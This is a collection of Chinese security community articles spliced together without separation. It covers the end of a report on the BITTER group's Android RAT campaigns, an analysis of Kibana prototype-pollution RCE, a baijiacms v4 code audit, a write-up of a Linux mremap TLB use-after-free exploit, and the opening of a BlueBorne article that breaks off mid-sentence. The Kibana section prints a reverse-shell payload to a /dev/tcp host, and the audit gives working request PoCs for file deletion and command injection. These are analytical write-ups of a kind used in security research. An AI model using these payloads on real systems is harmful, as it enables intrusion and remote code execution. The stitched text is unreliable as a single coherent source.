* 2014年9月开始使用AndroRAT攻击巴基斯坦政府。
* 2016年6月开始使用SlideRAT伪装成Dawn News攻击巴基斯坦国民。
* 2016年8月使用SlideRAT伪装成jamat-ud-dawah攻击南亚恐怖组织虔诚军人员。
* 2017年7月使用SlideRAT伪装成人民解放军新闻APP、China-Super-VPN等应用针对中国政府。
* 2018年10月使用SlideRAT伪装成Ansar Foundation应用攻击该基金组织人员。
* 2019年11月使用SlideRAT伪装成安邮ID针对中国军工行业人员。
## 三、载荷投递
蔓灵花组织在移动平台载荷投递的方式主要为水坑攻击和钓鱼链接，其次还会通过短信和WhatsApp进行载荷投递。
### (一) 水坑攻击
北京某科技有限公司是交通运输部“智能交通技术与设备”行业研发中心、北京市企业技术中心核心支撑单位。该公司官网在2017年9月被发现存在托管SlideRAT家族样本。巴基斯坦某公司从事工程机械、备件和土木工程项目交易，该公司官网在2019年3月被发现存在托管SlideRAT家族样本。
图2 水坑攻击网站
### (二) 钓鱼
通过分析SlideRAT的来源，我们发现其仿冒了多个合法的网站进行钓鱼传播，主要冒充了GooglePlay、安邮ID、某旅游官网进行钓鱼传播。
图3 钓鱼网站相关信息
### (三) 短信
除了以上的钓鱼链接，我们还发现SlideRAT通过冒充某旅游公司的短信进行传播，并且使用短链接进行伪装，下图为模拟短信传播界面。
图4 模拟短信界面
### (四) 社交工具
在部分受害者手机中，SlideRAT样本出现在WhatsApp文档路径中，由此可以判断蔓灵花组织使用了WhatsApp社交工具进行载荷投递。
图5 WhatsApp路径
### (五) 图标伪装
SlideRAT主要使用图像处理相关的图标进行伪装，其次还会根据攻击目标群体的特殊性，使用针对性的图标进行伪装，如伊斯兰教以及虔诚军相关图标，伪装的应用软件图标如下图所示。
图6 伪装图标
## 四、样本分析
### (一) RAT演变
蔓灵花组织早期使用开源远程管理工具AndroRAT进行移动平台的攻击活动，2016年6月后开始使用定制的SlideRAT持续攻击至今，两种RAT在代码结构和功能上存在较大差异，下图为AndroRAT和SlideRAT代码结构。
图7 左图为AndroRAT结构，右图为SlideRAT结构
### (二) 功能对比
AndroRAT和SlideRAT两款RAT功能如下表所示，可以发现早期AndroRAT功能偏向远程控制，而后期使用的SlideRAT更偏向隐私的窃取。
图8 功能对比
## 五、受害者人物画像
在蔓灵花组织所有移动平台攻击活动中，发现多名受害者，通过已有数据进行分析可以得到以下人物画像。
### (一) 军工行业从业人员
安邮ID是某军工业邮件系统辅助登录工具，其首页有介绍安邮ID使用方法的相关文档，如下图所示。此受害者手机中发现了SlideRAT伪装成安邮ID的样本。
图9 某军工业邮件系统首页新手指引
受害者的活动范围主要在沙特利雅得地区（如图10），而某军工业沙特分公司位于利雅得（如图11），并且受害者手机中装有较多航空相关和大量国内常用应用，我们推测受害者为经常出差沙特的某军工业人员。
图10 活动范围
图11 某军工业沙特分公司简介
### (二) 党政干部
某干部网络学院由该省委组织部主办，省委党校承办，是集在线学习、信息发布、考试测评、培训管理、在线评估、资料查询、互动交流等功能于一体的综合性、开放式的干部网络学习平台(如图12)。我们发现有受害者在2017年9月接收到蔓灵花组织伪装成某旅游公司的钓鱼短信，其2016年7开始参与该干部网络学院学习，我们推测其为该省党政干部。
图12 某干部网络学院官网
### (三) 赴巴基斯坦留学人员
伊斯兰堡联邦中级和中等教育委员会（FBISE）是“联邦教育和专业培训”部的自治机构。关于其相关介绍见下图，我们发现有受害者参与了FBISE的相关学习，据此推测其为准备赴巴基斯坦留学人员。
图13 FBISE介绍
### (四) 企业客服人员
此次还发现中国某网络公司和某旅游公司相关工作人员的电脑也存在被蔓灵花组织攻击的痕迹，其QQ昵称包含自己的工作内容加姓名显示，疑似企业对外服务的客服人员。该网络公司主要业务涉及企业建站，IDC数据中心，SMS短信通等领域；该旅游公司是首批经国家旅游局批准为合法经营中国公民出国旅游的组团社。
图14 某网络公司受害者
图15 某旅游公司受害者
从时间上看，这些企业客服人员的被攻击时间要早于前面提到的党政干部被攻击的时间，而从企业性质来看，我们怀疑正是蔓灵花组织入侵了这两个企业后，利用其公司资源发送的钓鱼短信。
### (五) 克什米尔区域群体
除中国受害者以外，我们还发现部分国外的受害者，其主要活动范围在印度和巴基斯坦交界的克什米尔区域，如下图所示。
图16 活动范围
## 六、溯源关联
根据已有公开情报可以知道在2018年11月至2019年1月之间，巴基斯坦的某公司网站托管了两个可执行恶意文件以及一个用于传递有效载荷的恶意文档，并最终将此归属于蔓灵花组织。本次揭露的SlideRAT在2018年8月也使用了该公司网站进行托管，基于此我们初步将SlideRAT归属于蔓灵花组织。而在针对SlideRAT家族CC进行分析中，我们发现其中关联了较多的PC样本，且与蔓灵花组织存在关联（如图17），进一步证实SlideRAT归属于蔓灵花组织。
图17 VirusTotal网站所展示的关联信息
## 七、总结
蔓灵花组织是一个长期活跃的APT组织，武器库十分强大，拥有对多平台进行攻击的能力，近年来，虽然该组织在PC端的攻击活动多次被安全厂商披露，但从未停止攻击，反而越发活跃，攻击目标也越发广泛。虽然本报告揭露了该组织在移动平台的攻击活动，但是该组织在移动平台的攻击活动不会因此而停止，甚至会随着攻击获取到的价值效益增加而加大移动平台的攻击活动。
此外，在此次揭露的持续两年多的多起攻击活动中，所有受害者所使用手机都是国产品牌。一方面，代表国产手机品牌市场占有率不断提升的同时，也在不断拓展海外市场。另一方面，也给手机品牌厂商敲响警钟，市场的不断拓展，必然会面临越来越多的安全问题，如何抵御攻击，则成为厂商应该深入思考的严峻问题。
## 参考
BITTER: a targeted attack against Pakistan
：<https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan>
Multiple ArtraDownloader Variants Used by BITTER to Target Pakistan
：<https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/>
## 360烽火实验室
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
# 从Kibana-RCE对nodejs子进程创建的思考
在前几天Kibana有一则关于原型链污染+子进程调用=>rce的漏洞，跟进分析的时候发现child_process实现子进程创建确实存在trick。于是有了下文是对child_process的实现和Kibana
RCE的一点思考。
# child_process建立子进程的实现
对于child_process大家应该都不陌生，它是nodejs内置模块，用于新建子进程，在CTF题目中也常使用`require('child_process').exec('xxx')`来RCE。
child_process内置了6个方法:execFileSync、execSync、fork、exec、execFile、spawn()
其中execFileSync()调用spawnSync()，execSync()调用spawnSync()，而spawnSync()调用spawn();exec()调用execFile()，最后execFile()调用spawn();fork()调用spawn()。也就是说前6个方法最终都是调用spawn()，其中spawn()的本质是创建ChildProcess的实例并返回。那我们直接对spawn这个方法进行分析
测试代码:
const { spawn } = require('child_process');
spawn('whoami').stdout.on('data', (data) => {
console.log(`stdout: ${data}`);
});
Node使用模块`child_process`建立子进程时，调用`用户层面的spawn`方法。初始化子进程的参数，步入`normalizeSpawnArguments`
var spawn = exports.spawn = function(/*file, args, options*/) {
var opts = normalizeSpawnArguments.apply(null, arguments);
};
跟进`normalizeSpawnArguments`，当options不存在时将其命为空对象。接着到下面最关键的一步，即获取env变量的方式。首先对options.env是否存在做了判断，如果options.env为undefined则将环境变量`process.env`的值复制给env。而后对envParivs这个数组进行push操作，其实就是env变量对应的键值对。
function normalizeSpawnArguments(file, args, options) {
...//省略
if (options === undefined)
options = {};
...//省略
var env = options.env || process.env;
var envPairs = [];
for (var key in env) {
envPairs.push(key + '=' + env[key]);
}
_convertCustomFds(options);
return {
file: file,
args: args,
options: options,
envPairs: envPairs
};
}
这里就存在一个问题，options默认为空对象，那么它的 **任何属性**
都存在被污染的可能。只要能污染到`Object.prototype`，那么options就可以添加我们想要的任何属性，包括`options.env`。经过`normalizeSpawnArguments`封装并返回后，建立新的子进程`new
ChildProcess()`，这里才算进入内部child_process的实现。
var opts = normalizeSpawnArguments.apply(null, arguments);
var options = opts.options;
var child = new ChildProcess();
child.spawn({
file: opts.file,
args: opts.args,
cwd: options.cwd,
windowsVerbatimArguments: !!options.windowsVerbatimArguments,
detached: !!options.detached,
envPairs: opts.envPairs,
stdio: options.stdio,
uid: options.uid,
gid: options.gid
});
这里我们直接看`ChildProcess.spawn`如何实现，也就是原生的spawn。核心代码逻辑是下面的两句，具体代码在`process_wrap.cc`
ChildProcess.prototype.spawn = function(options) {
//...
var err = this._handle.spawn(options);
//...
// Add .send() method and start listening for IPC data
if (ipc !== undefined) setupChannel(this, ipc);
return err;
};
`this._handle.spawn`调用了`process_wrap.cc`的spawn来生成子进程，是node子进程创建的底层实现，那我们看一下`process_wrap.cc`中对options的值进行了怎样的操作，。
static void Spawn(const FunctionCallbackInfo<Value>& args) {
//获取js传过来的第一个option参数
Local<Object> js_options = args[0]->ToObject(env->context()).ToLocalChecked();
...
// options.env
Local<Value> env_v =
js_options->Get(context, env->env_pairs_string()).ToLocalChecked();
if (!env_v.IsEmpty() && env_v->IsArray()) {
Local<Array> env_opt = Local<Array>::Cast(env_v);
int envc = env_opt->Length();
CHECK_GT(envc + 1, 0); // Check for overflow.
options.env = new char*[envc + 1]; // Heap allocated to detect errors.
for (int i = 0; i < envc; i++) {
node::Utf8Value pair(env->isolate(),
env_opt->Get(context, i).ToLocalChecked());
options.env[i] = strdup(*pair);
CHECK_NOT_NULL(options.env[i]);
}
options.env[envc] = nullptr;
}
...
//调用uv_spawn生成子进程，并将父进程的event_loop传递过去
int err = uv_spawn(env->event_loop(), &wrap->process_, &options);
//省略
}
代码只截取了对env这个属性的操作，它将原先的envPairs进行封装。最后所有options带入`uv_spawn`来生成子进程，在`uv_spawn`中就是常规的fork()、waitpid()来控制进程的产生和资源释放，不过有一个非常重要的实现如下:
//process.cc->uv_spawn()
execvp(options->file, options->args);
execvp来执行任务，这里的options->file就是我们最初传给spawn的参数。比如我们的例子是`spawn('whoami')`，那么此时的file就是`whoami`，当然对于有参数的命令，则options->args与之对应。
## 总结流程
child_process创建子进程的流程看起来有些复杂，总结一下:
1、初始化子进程需要的参数，设置环境变量
2、fork()创建子进程，并用`execvp`执行系统命令。
3、ipc通信，输出捕捉
# Kibana-RCE
## 漏洞分析
首先引用漏洞原作者的举例
node的官方文档中也能找到相同的用例:<https://nodejs.org/api/cli.html#cli_node_options_options>
node版本>v8.0.0以后支持运行node时增加一个命令行参数NODE_OPTIONS，它能够包含一个js脚本，相当于include。
在node进程启动的时候作为环境变量加载，通过打印process.env也能证明
hpdoger@ChocoMacBook-Pro$ NODE_OPTIONS='--require ./evil.js' node
success!!!
> process.env.NODE_OPTIONS
'--require ./evil.js'
如果我们能改变本地环境变量，则在node创建进程的时候就可以包含恶意语句。尝试用export来实现如下。
事实证明，只要产生新进程就会加载一次本地环境变量，存储形式为process.env，若env中存在NODE_OPTIONS则进行相应的加载。但是这种需要bash漏洞就是耍流氓，于是作者想到了一种方法来污染process.env，也就是上文分析的env的获取，于是有了Kibana的poc
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
node运行时会把当前进程的env写进系统的环境变量，子进程也一样，在linux中存储为`/proc/self/environ`。通过污染env把恶意的语句写进/proc/self/environ。同时污染`process.NODE_OPTIONS`属性，使node在生成新进程的时候，包含我们构造的`/proc/self/environ`。具体操作就类似下面的用法
污染了Object.env之后，利用Canvas生成新进程的时候会执行spawn从而RCE
## 利用条件
最开始我并没有跟进Kibana的源码，只是把漏洞归结于:
污染Object.env+创建子进程 => RCE
于是我做了下面的测试，发现并没有像我想象中的输出evil.js中的内容，但是NODE_OPTIONS确实被写进了子进程的env。
当我将进程建立换为`proc.fork()`时，则成功加载了evil.js并输出
child_process.fork() 方法是 child_process.spawn() 的一个特例，专门用于衍生新的 Node.js 进程。 与
child_process.spawn() 一样返回 ChildProcess
对象。所以fork调用的是spawn来实现的子进程创建，那怎么会有这种情况？跟进一下fork看看实现有什么不同
exports.fork = function(modulePath /*, args, options*/) {
...//省略
options.execPath = options.execPath || process.execPath;
return spawn(options.execPath, args, options);
}
它处理了execPath这个属性，默认获取系统变量的process.execPath，再传入spawn，这里就是`node`。
而我们用spawn时，处理得到的file为`whoami`
上文分析child_process在子进程创建的最底层，会调用execvp执行命令执行file
execvp(options->file, options->args);
而上面poc核心就是`NODE_OPTIONS='--require /proc/self/environ'
node`，即bash调用了node去执行。所以此处的file值必须为node，否则无法将NODE_OPTIONS载入。而直接调用spawn函数时必须有file值，这也造成了第一种代码无法加载evil.js的情况
经过测试exec、execFile函数无论传入什么命令，file的值都会为`/bin/sh`，因为参数shell默认为true。即使不传入options选项，这两个命令也会默认定义options，这也是child_process防止命令执行的一种途径。
但是shell这个变量也是可以被污染的，不过child_process在这里做了限制，即使shell===false或字符串。最终传到execvp时也会被执行的参数替代，而不是真正的node进程。
这样看来在污染了原型的条件下，child_process只有进行了fork()的时候，才能达到漏洞的利用。不过这样的利用面确实太窄了，如果有师傅研究过其他函数的执行spawn时能启动node进程，可以交流一下思路
所以回到fork()函数，我们可以验证包含/proc/self/environ是可行的
// test.js
proc = require('child_process');
var aa = {}
aa.__proto__.env = {'AAAA':'console.log(123)//','NODE_OPTIONS':'--require /proc/self/environ'}
proc.fork('./function.js');
//function.js
console.log('this is func')
同时可以看到，fork在指定了modulepath的情况下，包含environ的同时并不影响modulepath中代码的执行。
# 相关链接
[Exploiting prototype pollution – RCE in Kibana
(CVE-2019-7609)](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
[spawn、exec、execFile和fork](http://cnode1.rssing.com/chan-68517434/all_p385.html)
[Kibana漏洞之javascript原型链污染](https://mp.weixin.qq.com/s?__biz=MzA4NzA5OTYzNw==&mid=2247483761&idx=1&sn=a366c51bd57b4fead862d11616a10b19&chksm=903fd0eba74859fd6ba296e29bf600a1004eeed72de3fb433c74d47654ce37a435e6d1e2742c&mpshare=1&scene=1&srcid=&sharer_sharetime=1571588210071&sharer_shareid=3674d5df50965fb924ba35f64042cb57&key=a2eb8c0b2340b20d3581c0a15949a693ac0879f7879b201f3878bc1f796bf6e8225380e8c186fbea7a3f5abb3c67841d7f71500c9619d916c3ced85f20b5d9cefdb3980e259d7e0c59132aada59c4132&ascene=1&uin=MTMyNzEzMTk2NQ%3D%3D&devicetype=Windows+10&version=62070152&lang=zh_CN&pass_ticket=866ICVsXH4EG%2FSMhWF45HLNA4E5jKkn%2Fh4V6bsGMzepRRdEW4YsHhfvV84kkAfIA) | 社区文章 |
# baijiacmsV4代码审计！
先熟悉下代码结构！
## **`代码结构`**
addons 插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统配置文件
include 系统文件
system 后端代码
个人将他们分成两部分！
一部分是 `system`本身！另一部分是`eshop`！
## 漏洞复现
### 任意文件删除
**不需要`admin`权限**
漏洞文件位置：
`/system/eshop/core/mobile/util/uploader.php`
看上图应该可以知道`$operation` `$file` 都可控！
跟进一下：`file_delete()`
$settings返回是空的！那就可以容易文件删除了！
#### poc
/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../flag.txt
调试一下：
看到直接跳过了！
flag.txt已经删除了！
### 任意路径删除
**需要后台权限！**
`system/manager/class/web/database.php`
这点很好看！就判断了下 目录是否存在！然后删除目录！
#### `poc`
/index.php?mod=site&act=manager&do=database&op=delete&id=Li8uLi8uLi90ZXRl
删除后：
### 后台`RCE`
漏洞文件：后台的：
`/system/public/class/web/file.php`
#### `poc`
/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx.xxxx.xxxx/aaa/1.php
写入成功：
### `RCE`
漏洞文件
`/system/weixin/class/web/setting.php`
$file_full_path直接传进了system！我们可以通过构造文件名来RCE！
但是`image_compress_openscale`是空！我们设置一下缩放！
设置完后：
我自己添加了个$a!来更清晰看出值！
#### `poc`
convert -quality 80 D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt # D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt #
但是出了意外！ | 社区文章 |
## 前言
2019年1月17日，Project Zero的Jann Horn发表了一篇文章[4]，描述了他发现的一个linux内核中关于TLB(Translation
Lookaside Buffer)的漏洞。本文为对这个漏洞的详细分析。作者水平有限，如有不当还请指正。
## 基础知识
### 锁定和抢占
linux内核支持三种不同的抢占模型，必须在build时选择其中一种。
* CONFIG_PREEMPT_NONE(无强迫抢占(服务器))
* CONFIG_PREEMPT_VOLUNTARY(自愿内核抢占(桌面))
* CONFIG_PREEMPT(内核可抢占(低延迟桌面))
抢占模型确定当内核希望中断当前正在运行内核代码的进程时的操作：例如，较高优先级的进程已变为可运行且正在等待调度。Pixel
2使用配置了CONFIG_PREEMPT的内核。这意味着默认情况下，内核代码可以在执行期间的任何时候中断，甚至包括进程持有互斥锁、信号量和它位于RCU读端临界区时(取决于内核配置)。只有像自旋锁这样的东西才能抑制抢占。对于攻击者来说，如果利用的漏洞需要时间差的话内核是可抢占的是非常有用的。攻击者可能会让调度程序在竞争窗口中将进程从CPU核心中移除，然后让进程远离CPU一段时间。
sched_setaffinity函数设置进程在哪个或者哪几个CPU核心上运行，通常它的用法如下。
sched_setscheduler函数为指定的pid设置调度策略policy和参数param。如果pid为0，则设置调用线程的调度策略和参数。param是一个指向sched_param结构体的指针。
目前这个结构体仅仅包含sched_priority这一个成员。对于param的解释取决于policy。linux中的policy分为普通调度策略(normal
scheduling policies)和实时调度策略(real time scheduling policies)。
* SCHED_NORMAL和SCHED_BATCH调度普通的非实时进程
* SCHED_FIFO和SCHED_RR和SCHED_DEADLINE则采用不同的调度策略调度实时进程
* SCHED_IDLE则在系统空闲时调用idle进程
如果设置具有不同优先级的多个进程运行在一个CPU核心上，那么唤醒优先级较高的进程将会抢占优先级较低的进程。
### 页分配器
linux页分配器基于buddy分配器，在mm/page_alloc.c中实现。空闲列表(freelist)不仅仅是按order区分的，在android上还与区域(zone)和迁移类型(migration
type)有关。
#### 区域
区域指定页面可以使用的方式。Pixel 2上存在以下区域。
* ZONE_DMA：当有设备不能通过DMA(Direct Memory Access)访问整个可寻址内存(ZONE_NORMAL)的情况下为这些设备专门开辟出一段内存，通常是低端内存区域(arm64在4.16之前使用)
* ZONE_NORMAL：该部分的内存由内核直接映射到线性地址空间的较高部分
#### 迁移类型
页面的迁移类型指定页面当前正在使用哪种分配(如果页面当前正在使用中)或者页面应该优先使用哪种分配(如果页面是空闲的)。它的目的是通过将内核可以回收的页面的内容移动到一起以允许内核稍后通过移动数据来创建更大order的空闲页面。下面是比较重要的几个迁移类型。
* MIGRATE_UNMOVABLE：用于不可移动的分配(例如正常kmalloc的分配)
* MIGRATE_MOVABLE：用于内核可以将其移动到另一个物理页面的分配(例如用户空间内存)
* MIGRATE_RECLAIMABLE：用于内核不能简单地移动到不同地址的分配，但内核可以在需要释放一些内存时将其释放
* MIGRATE_CMA：为DMA的连续内存预留的专用内存，只能用于特定的DMA分配和可移动页的分配
在页分配器中引入了冷热页的概念。冷页表示该空闲页已经不再高速缓存中了，热页表示该空闲页仍然在高速缓存中。冷热页是针对于每CPU的。每个zone中都会针对于所有的CPU初始化一个冷热页的per-cpu-pageset(pcp)。冷热页机制只处理单页分配的情况。
首先通过快速路径分配，如果快速路径无法分配再通过慢速路径分配。在进入慢速路径之前，通过get_page_from_freelist函数分配页面的算法大致如下(忽略NUMA和原子/实时分配之类的东西)。
1. 对于每个区域(从最优选的区域到最不优选的区域，在Pixel 2上，当分配非DMA内存时，首先是ZONE_NORMAL，然后是ZONE_DMA)，当get_page_from_freelist函数走到try_this_zone时说明选定的区域中有空闲内存。
2. 在rmqueue函数中有下面这几种情况。
3. 对于order为0也就是单页分配的情况，继续进入rmqueue_pcplist函数。
4. 在__rmqueue_pcplist函数中调用了rmqueue_bulk函数从buddy分配系统中分配页。
5. 在rmqueue_bulk函数中调用了__rmqueue函数。
6. __rmqueue函数首先调用__rmqueue_smallest函数从指定迁移类型去分配order阶的页，如果order阶对应的链表没有空闲页块就从更大阶的链表中去分配，然后将得到的页块拆解，剩余部分挂到对应order的链表中去。
7. 如果我们想要一个可移动的页，则从MIGRATE_CMA中分配。否则，调用__rmqueue_fallback函数分配。
8. __rmqueue_fallback函数尝试从具有不同迁移类型的空闲列表中获取最大order的页，然后可能会将它的迁移类型更改为所需的。
下面是几张帮助理解的示意图。
当试图利用物理页的UAF漏洞时需要记住页分配器将尽量避免改变页的迁移类型，所以通常可移动页(匿名用户空间内存和页缓存)将被重用为可移动页，不可移动页(正常的内核内存)将被重用为不可移动页。
### TLB和分页结构缓存
页表包含有关虚拟地址如何映射到物理地址的信息。页表存储在内存中，因此访问速度相对较慢。为了快速进行地址转换，CPU使用TLB(Translation
Lookaside Buffers)缓存这个映射。换句话说，它们几乎缓存最后一级页表条目。现代CPU通常有许多不同用途的TLB：比如Intel
CPU有指令TLB，数据TLB和共享L2 TLB。
分页结构缓存的文档比较少，但是还是有官方文件记载它们的存在和处理它们时必须采取的措施。Intel把它们叫做分页结构缓存(Paging-Structure
Caches)，arm把它们叫做中间表遍历缓存(Intermediate table walk
caches)，AMD的文档中把它们作为L2数据TLB的一部分。分页结构缓存存储非最后一级页表条目的副本，当访问没有对应TLB条目的虚拟地址时将使用它们以减少遍历页表的次数。
处理器可以随时清除和创建TLB和分页结构缓存中的条目。不同的处理器体系结构使它们无效的机制也并不相同。X86架构中提供了使当前逻辑CPU内核的单个TLB条目或整个TLB(无论有没有全局条目)无效的指令。在Intel的手册中提到使虚拟地址的TLB条目无效还至少意味着可以用于转换该虚拟地址的任何分页结构缓存条目无效。要跨逻辑CPU内核使得TLB失效，操作系统必须手动运行使每个逻辑CPU内核上的TLB条目无效的代码，这通常是通过APIC(Advanced
Programmable Interrupt Controller)将IPI(Inter-Processor
Interrupt)从希望执行TLB失效的处理器发送到可能具有相关过期TLB或分页结构缓存条目的所有其它处理器来实现的。ARM架构提供了可以执行跨核心TLB失效的指令，但是如果还需要同步软件(如linux内核)中实现的页表遍历，可能还是必须发送IPI(取决于用于页表遍历的同步机制)。
用于为页表条目执行缓存失效的通用模式如下。
1.从页表中删除一个条目，但保持对它指向的物理页面的引用。
2.对可能使用与当前线程相同的页表的所有CPU核心执行TLB刷新(针对特定地址或整个地址空间)。
3.删除物理页面上保留的引用(可能会释放它)。
在取消映射普通数据页和删除页表时，这个过程都是相同的。通常可以进行批处理以获得更好的性能：首先删除多个页表条目，然后跨内核执行一次TLB刷新，最后删除所有页面引用。在X86上(ARM64类似)，最后一级PTE(Page
Table
Entry)中有两个位，CPU可以将其作为地址转换的一部分写入：Accessed位指定CPU是否曾使用页表条目进行地址转换，换句话说，如果未设置Accessed位，则自上次软件写入PTE以来TLB尚未缓存页表条目的值。Dirty位指定CPU是否曾经用页表条目进行写内存访问，换句话说，如果未设置Dirty位，则自上次软件写入PTE以来没有创建可用于写入物理页面的TLB条目。
## 漏洞解析
### 漏洞原理
在linux系统中进程的内存管理数据结构受到多个锁的保护：mm_struct结构体中的读/写信号量mmap_sem用来保护VMA(Virtual
Memory
Area)，页表锁用于保护对页表的访问。例如mmap/mremap/munmap以及用于页面错误处理的函数同时使用mmap_sem和页表锁。但是一些其它类型的页表访问(例如在系统中映射给定文件的所有位置上的操作，如缩小文件并释放超出文件新的末尾的页表的ftruncate函数)不会保留mmap_sem，只用页表锁。
mremap函数允许用户空间移动VMA及其关联的页表条目，它通过mremap_to->move_vma->move_page_tables->move_ptes移动页表。
move_ptes函数用于移动2个L1页表之间的条目(只有mmap_sem)的大致逻辑如下。
1.如果设置了need_rmap_locks标志(新的VMA已合并到相邻的VMA中)，则调用take_rmap_locks函数。
2.获取旧页表和新页表上的页表锁。
3.调用了flush_tlb_batched_pending函数，刷新由于并行回收竞争留下的旧的TLB条目。
4.对于当前页表的范围中的每个非空条目：
4.1.调用ptep_get_and_clear函数，原子性地读取页表条目的当前值并清除它。
4.2.如果读取的页表条目为Dirty，则将force_flush标志设置为true。
4.3.把读取的页表条目写入页表以获取新映射。
5.解锁新的页表。
6.如果设置了force_flush标志，则对在步骤4中访问的旧页表条目执行TLB刷新；如果未设置force_flush标志，则向调用者move_page_tables函数发出需要TLB刷新的信号。
7.解锁旧的页表。
8.如果设置了need_rmap_locks标志，则调用drop_rmap_locks函数。
稍后，在遍历多个页表之后，move_page_tables函数会在请求时对旧地址范围执行TLB刷新。
move_ptes函数需要确保在释放旧页表的引用时不再有过时的TLB条目。move_ptes函数中没有删除引用，但move_ptes函数将引用移动到新的页表条目中。当持有新页表上的页表锁时，同时运行的其它进程仍然无法删除新的页表条目并删除其引用，因此在步骤4.3之后一切仍然正常：页无法释放。但是在第5步之后，另一个进程理论上可以与mremap函数竞争并删除页。这远远早于move_page_tables函数对旧地址范围执行TLB刷新的时间。
### 漏洞利用
为了利用该漏洞，我们希望快速地从页面缓存中重新分配释放的可移动页。可以通过pcp的空闲列表来实现这一点，因为将本来就可移动的页重新分配为一个可移动的页比强制更改迁移类型更容易。使用这种策略，我们不能攻击普通内核内存分配或页表，但是可以攻击页缓存和匿名用户空间内存。EXP中是攻击的页缓存，这样可以在攻击的关键时间路径中避免其它用户空间进程的干扰。大致攻击步骤如下。
1.从页缓存中删除目标页。
首先需要挑选作为攻击目标的页。EXP利用/system/lib64/libandroid_runtime.so中包含com_android_internal_os_Zygote_nativeForkAndSpecialize函数的页。每当需要启动应用程序进程时，此函数在zygote进程的上下文中执行，换句话说，它不会经常在空闲设备上运行，这意味着我们可以删除它然后有时间触发漏洞。可以通过启动隔离服务来触发它的执行，因此能够在成功触发漏洞后立即执行它。zygote进程具有CAP_SYS_ADMIN功能(并且允许使用它)，并且因为它的作用是fork出app进程和system_server的进程，所以它可以访问system_server和每个app的上下文。注入到zygote中的shellcode会读取自己的SELinux上下文，然后使用调用sethostname函数得到的字符串覆盖主机名。shellcode在arm_shellcode.s中。
(系统调用表可以参考retme7大神的[2])
在EXP具体的删除操作是在eviction.c中实现的。在[3]中提到：A fundamental observation we made is that
the replacement algorithm of the Linux page cache prioritizes eviction of
nonexecutable pages over executable
pages.在mm/vmscan.c的shrink_active_list函数和page_check_references函数中可以看到确实对有文件背景的页面有特殊处理，它们在内存中驻留的机会更大。
在eviction.c中通过fallocate函数利用可执行的具有文件背景的页面造成内存压力从而从页缓存中删除目标页。
通过mincore函数检查指定的页是否在页缓存中。
最好的情况是目标页一旦被删除，在下一次访问之前不会从磁盘重新加载。但情况并非总是如此：内核具有一些提前读取的逻辑，根据观察到的内存访问模式，这些逻辑可能从磁盘上读取页面错误周围的大量数据(最多VM_MAX_READAHEAD，即128KiB)。这是通过在filemap_fault函数中调用do_async_mmap_readahead函数/do_sync_mmap_readahead函数实现的。攻击进程可以在进行自己的访问时不使用它，但是对于来自其它进程的访问(这些进程可能正在执行来自目标文件中其它页面的代码)，也应该禁止这种行为。由于这个原因，EXP通过fallocate函数删除目标页之前通过MADV_RANDOM映射访问目标文件中的所有其它页，以降低访问它们触发提前读取逻辑的概率：当RAM中存在被访问的页时，不会发生同步提前读取；如果访问的页有一个小错误(即页存在于页缓存中但还不存在相应的页表条目)而没有标记为PG_readahead，异步提前读取也不会发生。
2.分配具有文件背景的页(例如通过memfd)，并将它们映射为映射1。
3.触发mremap/ftruncatrace竞争释放具有文件背景的页，而不删除映射1的对应TLB条目。
给运行mremap函数的进程设置SCHED_IDLE优先级，并且让它与具有正常优先级的由于read函数阻塞在管道上的进程运行在一个CPU核心上，然后在正确的时刻写入该管道的另一端，这样就可以抢占mremap函数了。
在`/proc/<pid>/status`中包含进程使用的内存的情况，其中VmPTE字段显示进程页表占用的内存量。通过监视该字段可以检测由mremap函数执行的页表分配以确定在管道另一端调用write函数的正确时机。
在main函数中调用write函数写入管道的另一端。
4.从目标页开始读取，导致内核重新分配一个已释放的页作为目标页的页缓存。
5.在映射1(通过旧的TLB)中轮询页的内容，直到其中一个包含目标页。如果在此之前发生了页面错误，返回第一步。
下载对应版本的OTA包：<https://dl.google.com/dl/android/aosp/walleye-ota-pq1a.181105.017.a1-075d9b58.zip>
解压，使用payload_dumper提取出payload.bin中的system.img，解压system.img得到/system/lib64/libandroid_runtime.so。
起始地址是0x36000，所以0x36000+0x157000=0x18D000，刚好是0xeb08005f91007108。
6.此时，我们有一个旧的TLB将旧的映射1转换为目标页。因此，我们现在可以通过映射1来反复覆盖目标页。
漏洞利用的效果如下(我因为没有相关设备所以没有自己测试)。
### 补丁情况
最重要的一处修改就是把对flush_tlb_range函数的调用放到了新的页表解锁之前。
## 参考资料
1.[Memory Management with Huge
Pages](https://d3s.mff.cuni.cz/legacy/teaching/advanced_operating_systems/slides/10_huge_pages.pdf
"Memory Management with Huge Pages")
2.<https://github.com/retme7/arm64_syscall_nr>
3.[Another Flip in the Wall of Rowhammer
Defenses](https://arxiv.org/pdf/1710.00551.pdf "Another Flip in the Wall of
Rowhammer Defenses")
4.[Taking a page from the kernel's book: A TLB issue in
mremap()](https://googleprojectzero.blogspot.com/2019/01/taking-page-from-kernels-book-tlb-issue.html "Taking a page from the kernel's book: A TLB issue
in mremap\(\)") | 社区文章 |
作者：huahuaisadog@360VulpeckerTeam
来源：[安全客](http://bobao.360.cn/learning/detail/4495.html?from=timeline&isappinstalled=0
"安全客")
#### 0x00
前些天，armis爆出了一系列蓝牙的漏洞， **无接触无感知接管系统**
的能力有点可怕，而且基本上影响所有的蓝牙设备，危害不可估量，可以看[这里](https://www.armis.com/blueborne/
